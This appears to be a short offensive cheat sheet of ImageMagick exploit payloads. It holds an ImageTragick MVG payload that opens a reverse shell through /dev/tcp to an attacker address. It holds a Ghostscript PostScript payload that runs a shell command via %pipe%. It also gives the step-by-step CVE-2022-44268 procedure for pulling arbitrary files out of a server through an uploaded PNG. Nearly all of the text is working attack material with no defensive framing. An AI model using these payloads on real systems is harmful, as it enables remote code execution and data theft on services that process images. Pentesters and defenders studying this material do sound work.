ImageMagick Exploits
ImageTragik Exploit v1
Simple reverse shell
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'
pop graphic-context
pop graphic-context
ImageTragik Exploit v2
Simple id
payload
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
then use convert shellexec.jpeg whatever.gif
CVE-2022-44268
Information Disclosure: embedded the content of an arbitrary remote file
- Generate the payload
- Trigger the exploit by uploading the file. The backend might use something like
convert pngout.png pngconverted.png
- Download the converted picture and inspect its content with:
identify -verbose pngconverted.png
- Convert the exfiltrated data:
python3 -c 'print(bytes.fromhex("HEX_FROM_FILE").decode("utf-8"))'